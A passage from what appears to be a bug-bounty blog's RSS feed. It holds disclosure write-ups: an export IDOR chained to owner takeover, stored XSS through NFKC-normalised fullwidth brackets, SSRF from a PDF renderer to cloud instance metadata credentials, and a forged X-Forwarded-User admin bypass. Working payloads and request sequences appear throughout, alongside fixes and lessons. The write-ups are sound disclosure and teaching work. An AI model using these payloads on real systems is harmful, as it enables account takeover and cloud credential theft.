class="tok-redact" aria-label="redacted value">████████████████████████</span></span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span></span><span class="code-line"><span style="color:#A8A6CC">      "</span><span style="color:#7FE0DF">scopes</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> [</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">events:read</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">]</span><span style="color:#A8A6CC"> }</span></span><span class="code-line"><span style="color:#A8A6CC">  ],</span></span><span class="code-line"><span style="color:#A8A6CC">  "</span><span style="color:#7FE0DF">webhook_signing_secret</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">whsec_<span class="tok-redact" aria-label="redacted value">████████████████████</span></span><span style="color:#A8A6CC">"</span></span><span class="code-line"><span style="color:#A8A6CC">}</span></span></code></pre></figure>
<p>The first token carries <code>members:write</code> and never expires. The full chain then comes down to five steps.</p>
<ol class="steps">
<li><strong>Get the target organisation’s UUID.</strong> It leaks in several public responses, notably the team avatar served from <code>cdn.target.tld/org/{uuid}/logo.png</code> and the invitation page. No prior access required.</li>
<li><strong>Create a full export with <code>include_credentials</code>.</strong> My organisation A token is enough: the creation route does not check membership.</li>
<li><strong>Hijack the notification.</strong> <code>notify_email</code> is not validated against the organisation’s members; the signed link arrives straight in my inbox.</li>
<li><strong>Pull the service token.</strong> <code>integrations.json</code> hands over a <code>members:write</code> token with no expiry.</li>
<li><strong>Add myself as <code>owner</code>.</strong> One <code>POST /api/v3/orgs/{B}/members</code> authenticated with that token, and the account is mine.</li>
</ol>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">POST</span><span class="code-title">Final escalation</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">POST</span><span style="color:#E8E6F5"> /api/v3/orgs/c37b9e51-2d4a-41f8-bb07-9e5a1c88de34/members HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> api.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Authorization</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> Bearer svc_live_7Qa<span class="tok-redact" aria-label="redacted value">████████████████████████</span></span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">email</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">mel@research.example</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">role</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">owner</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">skip_invite</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#FF9C7A">true</span><span style="color:#A8A6CC">}</span></span></code></pre></figure>
<figure class="code"><div class="code-bar is-http is-response is-2xx"><span class="http-status is-2xx">201</span><span class="code-title">Created</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line is-hl"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#76D9A0;font-weight:700">201</span><span style="color:#8BD6A0"> Created</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">id</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">mem_01JGQ9</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">role</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">owner</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">status</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">active</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">invited_by</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">svc:ci-deploy</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}</span></span></code></pre></figure>
<p>No invitation, no email to the victim, no visible trace in the UI until someone next opens the Members page. I stop there: I do not log into organisation B with that role beyond a single screenshot of the member list, and I remove the access straight away.</p>
<p>Then there is the question of reach. The program advertises “several hundred customer organisations”, and the organisation UUID is a random identifier, so it is not blind-enumerable - but it leaks in enough public places (team logos, shared invitation pages, old indexed links) that a target list builds itself with no effort. I stick to the two organisations I control for the demonstration, and I list the three UUID leak sources in the report rather than exploiting them: it is up to the program to decide whether it wants an estimate of how many accounts are actually reachable.</p>
<h2 id="proof">Proof</h2>
<figure class="shot"><img src="https://bughuntingjourney.com/_astro/members-redacted.CwrFs9Rw.svg" alt="The Members page of the target organisation: the researcher's account appears with the owner role while every other member's identity is masked." /><figcaption>Screenshot reconstructed for publication. Real member identities and the organisation name are masked; only the row added by the exploitation is readable.</figcaption></figure>
<h2 id="the-fix">The fix</h2>
<p>The team fixed it in two passes: an emergency block on <code>include_credentials</code> first, then the real fix on authorisation. The diff was shared with me afterwards, with permission to publish this excerpt.</p>
<figure class="code"><div class="code-bar"><span class="code-title">api/routes/exports.ts</span><span class="code-lang">diff</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="diff"><code><span class="code-line"><span style="color:#A8A6CC">@@ -14,11 +14,22 @@</span><span style="color:#E8E6F5"> export async function createExport(req, res) {</span></span><span class="code-line is-del"><span style="color:#FF8A7A"><span style="user-select: none;">-</span>  const { orgId } = req.params;</span></span><span class="code-line is-del"><span style="color:#FF8A7A"><span style="user-select: none;">-</span>  const org = await Org.findByPk(orgId);</span></span><span class="code-line is-del"><span style="color:#FF8A7A"><span style="user-select: none;">-</span>  if (!org) return res.status(404).json({ error: 'not_found' });</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  const { orgId } = req.params;</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span></span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  // The organisation now comes from the token, never from the URL.</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  if (orgId !== req.auth.orgId) {</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>    return res.status(403).json({ error: 'forbidden' });</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  }</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  if (!(await can(req.auth, 'export:create', orgId))) {</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>    return res.status(403).json({ error: 'forbidden' });</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  }</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  const org = await Org.findByPk(orgId);</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  if (!org) return res.status(404).json({ error: 'not_found' });</span></span><span class="code-line"><span style="color:#E8E6F5"> </span></span><span class="code-line is-del"><span style="color:#FF8A7A"><span style="user-select: none;">-</span>  const includeCredentials = req.body.include_credentials ?? false;</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  // Secrets never leave in an export again, whoever is asking.</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  const includeCredentials = false;</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  const notifyEmail = await resolveMemberEmail(req.auth, req.body.notify_email);</span></span></code></pre></figure>
<p>Service tokens across every organisation were invalidated in the same window, and a forced rotation of webhook secrets was triggered. That is the right reaction: as long as nobody knows how long the route had been open, the secrets have to be treated as compromised.</p>
<aside class="callout callout-note">
<p class="callout-label">Note</p>
<p>The program is private and the team moved fast at every step, which deserves saying: most of the total elapsed time is on me, because I waited for the fix to ship before asking for permission to publish.</p>
</aside>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong>An ID in the URL that is already in the token is a question, not a fact.</strong> Anywhere the two coexist, somebody has to decide which one is authoritative - and the answer is very often “neither, explicitly”.</li>
<li><strong>An access check on the download does not protect the generation.</strong> Here the <code>403</code> on the signed link created the illusion of a locked route, while the leak was in creation, with an alternative delivery channel attached.</li>
<li><strong>Incidental parameters are rarely incidental.</strong> <code>notify_email</code> looks like a convenience feature; it is actually the exfiltration channel that turns an IDOR into a full chain.</li>
<li><strong>An export needs an allowlist of fields, never a denylist.</strong> <code>integrations.json</code> ended up in the archive because the exporter serialises a whole object and then strips what is sensitive. The other way round would have held.</li>
<li><strong>Dead ends are work, not wasted time.</strong> The three failures above are what mapped the surface: without them I would not have known that only creation was vulnerable, and the report would have been far less precise.</li>
</ul>
<blockquote>
<p>If you find something similar on a program, try the creation route before the read route: it is almost always the read path that gets protected first.</p>
</blockquote>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/export-owner-role.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>Three characters that walked through the filename filter</title>
      <link>https://bughuntingjourney.com/writeups/filename-filter-xss</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/filename-filter-xss</guid>
      <pubDate>Sun, 18 Oct 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Cross-site scripting</category>
      <description>The attachment name was escaped on upload but not in the preview. A Unicode normalisation pass did the rest.</description>
      <content:encoded><![CDATA[<p>Stored XSS in a filename, in 2026, sounds unlikely. It is nonetheless what <span class="redacted" aria-label="redacted" title="Redacted">███████████████</span> shipped a fix for last month, and the bug came down to three characters nobody had thought to test together.</p>
<h2 id="the-behaviour">The behaviour</h2>
<p>The app accepts attachments in shared workspaces. The filename is shown in the list, in the preview, and in the notification sent to other members. On upload, the server applies perfectly correct HTML escaping:</p>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">POST</span><span class="code-title">Upload</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">POST</span><span style="color:#E8E6F5"> /api/files HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> app.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> multipart/form-data; boundary=----x</span></span><span class="code-line"></span><span class="code-line"><span style="color:#E8E6F5">------x</span></span><span class="code-line"><span style="color:#7FE0DF">Content-Disposition</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> form-data; name="file"; filename="&#x3C;img src=x onerror=alert(1)>.pdf"</span></span></code></pre></figure>
<p>In the list, the name comes back properly as <code>&#x26;lt;img src=x onerror=alert(1)&#x26;gt;.pdf</code>. Apparent dead end.</p>
<h2 id="what-unblocks-it">What unblocks it</h2>
<p>The preview, however, runs the name through a “display cleanup” function that normalises to NFKC so Unicode variants line up. NFKC turns certain compatibility characters into their ASCII equivalents. Send the fullwidth variants <code>＜</code> and <code>＞</code> (U+FF1C and U+FF1E) and the upload-time escaping sees nothing wrong - those are not angle brackets - then normalisation converts them back to <code>&#x3C;</code> and <code>></code>, after the escaping has already run.</p>
<figure class="code"><div class="code-bar"><span class="code-title">The bug, reduced to its smallest form</span><span class="code-lang">JavaScript</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="js"><code><span class="code-line"><span style="color:#FF9C7A">const</span><span style="color:#E8E6F5"> safe </span><span style="color:#A8A6CC">=</span><span style="color:#8FD3FF"> escapeHtml</span><span style="color:#A8A6CC">(</span><span style="color:#E8E6F5">file</span><span style="color:#A8A6CC">.</span><span style="color:#E8E6F5">name</span><span style="color:#A8A6CC">);</span><span style="color:#9492B6;font-style:italic">          // ＜img …＞ passes through untouched</span></span><span class="code-line"><span style="color:#9492B6;font-style:italic">// … stored, then, when rendering the preview:</span></span><span class="code-line"><span style="color:#FF9C7A">const</span><span style="color:#E8E6F5"> shown </span><span style="color:#A8A6CC">=</span><span style="color:#E8E6F5"> safe</span><span style="color:#A8A6CC">.</span><span style="color:#8FD3FF">normalize</span><span style="color:#A8A6CC">(</span><span style="color:#A8A6CC">'</span><span style="color:#8BD6A0">NFKC</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">);</span><span style="color:#9492B6;font-style:italic">        // ＜ becomes &#x3C; again</span></span><span class="code-line is-hl"><span style="color:#E8E6F5">preview</span><span style="color:#A8A6CC">.</span><span style="color:#E8E6F5">innerHTML </span><span style="color:#A8A6CC">=</span><span style="color:#A8A6CC"> `</span><span style="color:#8BD6A0">&#x3C;span></span><span style="color:#A8A6CC">${</span><span style="color:#E8E6F5">shown</span><span style="color:#A8A6CC">}</span><span style="color:#8BD6A0">&#x3C;/span></span><span style="color:#A8A6CC">`</span><span style="color:#A8A6CC">;</span><span style="color:#9492B6;font-style:italic"> // stored XSS</span></span></code></pre></figure>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong>Normalising after escaping undoes the escaping.</strong> The order of those two operations is the entire vulnerability; each function, read on its own, is beyond reproach.</li>
<li><strong>A field escaped once is not escaped everywhere.</strong> Here the list was safe and the preview was not, for the same piece of data.</li>
<li><strong>Testing the Unicode variants of <code>&#x3C;</code>, <code>></code> and <code>"</code> should be reflex</strong> on any field that crosses more than one rendering component.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/filename-filter-xss.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>The PDF renderer that talked to the cloud metadata service</title>
      <link>https://bughuntingjourney.com/writeups/pdf-renderer-ssrf</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/pdf-renderer-ssrf</guid>
      <pubDate>Tue, 29 Sep 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Server-side request forgery</category>
      <description>An image tag in an invoice template, server-side rendering, and thirty seconds to confirm outbound network access over DNS.</description>
      <content:encoded><![CDATA[<p>Any “customise your template” feature that ends in a PDF is server-side rendering wearing a hat. <span class="redacted" aria-label="redacted" title="Redacted">███████████</span>‘s was no exception.</p>
<h2 id="finding-it">Finding it</h2>
<p>The template editor accepts a subset of HTML for the invoice header. <code>&#x3C;script></code> tags are stripped; <code>&#x3C;img></code> is not - which makes sense, since the whole point is to put a logo there. Rendering happens server-side, in headless Chrome.</p>
<figure class="code"><div class="code-bar"><span class="code-title">Invoice template - payload</span><span class="code-lang">HTML</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="html"><code><span class="code-line"><span style="color:#A8A6CC">&#x3C;</span><span style="color:#FF9C7A">img</span><span style="color:#F5C04E"> src</span><span style="color:#A8A6CC">=</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">https://oast.<span class="tok-redact" aria-label="redacted value">████████</span>.oastify.com/ping</span><span style="color:#A8A6CC">"</span><span style="color:#F5C04E"> width</span><span style="color:#A8A6CC">=</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">1</span><span style="color:#A8A6CC">"</span><span style="color:#F5C04E"> height</span><span style="color:#A8A6CC">=</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">1</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">></span></span></code></pre></figure>
<p>The DNS callback lands twelve seconds after the PDF is generated, from the cloud provider’s address range. So outbound network access is open, and rendering really does happen inside their infrastructure, not on the client.</p>
<h2 id="escalation">Escalation</h2>
<figure class="code"><div class="code-bar"><span class="code-title">Confirmation - reading instance metadata</span><span class="code-lang">bash</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="bash"><code><span class="code-line"><span style="color:#9492B6;font-style:italic"># the generated PDF contains whatever the metadata endpoint returns</span></span><span class="code-line"><span style="color:#A8A6CC">&#x3C;</span><span style="color:#E8E6F5">img src</span><span style="color:#A8A6CC">=</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">http://169.254.169.254/latest/meta-data/iam/security-credentials/</span><span style="color:#A8A6CC">"</span><span style="color:#E8E6F5"> ></span></span></code></pre></figure>
<p>The PDF comes back with the role name spelled out. A second render against the full path returns the temporary credentials. I stop at proof: I make no API call with those credentials, I include them truncated in the report, and I ask for immediate revocation.</p>
<aside class="callout callout-warn">
<p class="callout-label">Heads up</p>
<p>An SSRF that reaches instance metadata is not something you poke at “just to see how far it goes”. You capture the minimum proof, you report, you ask for revocation. Going further means leaving scope and losing the program’s protection.</p>
</aside>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong>Any server-side HTML rendering is an HTTP client.</strong> PDFs, thumbnails, link previews, importers: the question is not <em>whether</em> it reaches the network, but where.</li>
<li><strong>Stripping <code>&#x3C;script></code> protects nothing here.</strong> The attack goes through a resource, not through code.</li>
<li><strong>IMDSv2 and a renderer-level domain allowlist</strong> would each have broken the chain independently.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/pdf-renderer-ssrf.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>The header the reverse proxy forgot to strip</title>
      <link>https://bughuntingjourney.com/writeups/forwarded-header-bypass</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/forwarded-header-bypass</guid>
      <pubDate>Sat, 12 Sep 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Authentication bypass</category>
      <description>The back office trusted an identity header that the edge only stripped on one of the two routes it exposed.</description>
      <content:encoded><![CDATA[<p>Delegating authentication to the reverse proxy is a perfectly defensible pattern - as long as <em>every</em> front door strips the trusted header. At <span class="redacted" aria-label="redacted" title="Redacted">██████████████</span> there were two, and only one of them did.</p>
<h2 id="how-you-land-on-it">How you land on it</h2>
<p>A subdomain sweep turns up <code>admin.target.tld</code>, which 302s to SSO. Standard, and properly locked. But the back-office JavaScript, served before the redirect, mentions a second base URL:</p>
<figure class="code"><div class="code-bar"><span class="code-title">admin.7b31.js - excerpt</span><span class="code-lang">JavaScript</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="js"><code><span class="code-line"><span style="color:#FF9C7A">const</span><span style="color:#E8E6F5"> API_BASE </span><span style="color:#A8A6CC">=</span><span style="color:#E8E6F5"> window</span><span style="color:#A8A6CC">.</span><span style="color:#E8E6F5">__CFG__</span><span style="color:#A8A6CC">.</span><span style="color:#E8E6F5">adminApi </span><span style="color:#A8A6CC">??</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">/admin-api</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">;</span></span></code></pre></figure>
<p><code>/admin-api/whoami</code> answers <code>401</code> with no redirect. So: a separate authentication path. And the error body hands over a clue:</p>
<figure class="code"><div class="code-bar is-http is-response is-4xx"><span class="http-status is-4xx">401</span><span class="code-title">The clue</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#FF8A7A;font-weight:700">401</span><span style="color:#8BD6A0"> Unauthorized</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line is-hl"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">error</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">missing_identity_header</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">expected</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">X-Forwarded-User</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}</span></span></code></pre></figure>
<h2 id="exploitation">Exploitation</h2>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">GET</span><span class="code-title">Forged header</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">GET</span><span style="color:#E8E6F5"> /admin-api/users?limit=5 HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> admin.target.tld</span></span><span class="code-line is-hl"><span style="color:#7FE0DF">X-Forwarded-User</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> ||system.administrator@target.tld||</span></span></code></pre></figure>
<figure class="code"><div class="code-bar is-http is-response is-2xx"><span class="http-status is-2xx">200</span><span class="code-title">OK</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line is-hl"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#76D9A0;font-weight:700">200</span><span style="color:#8BD6A0"> OK</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">users</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:[{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">id</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E">1</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">email</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0"><span class="tok-redact" aria-label="redacted value">████████████████</span></span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">role</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">superadmin</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">},</span><span style="color:#FF8A7A"> …</span><span style="color:#A8A6CC">]}</span></span></code></pre></figure>
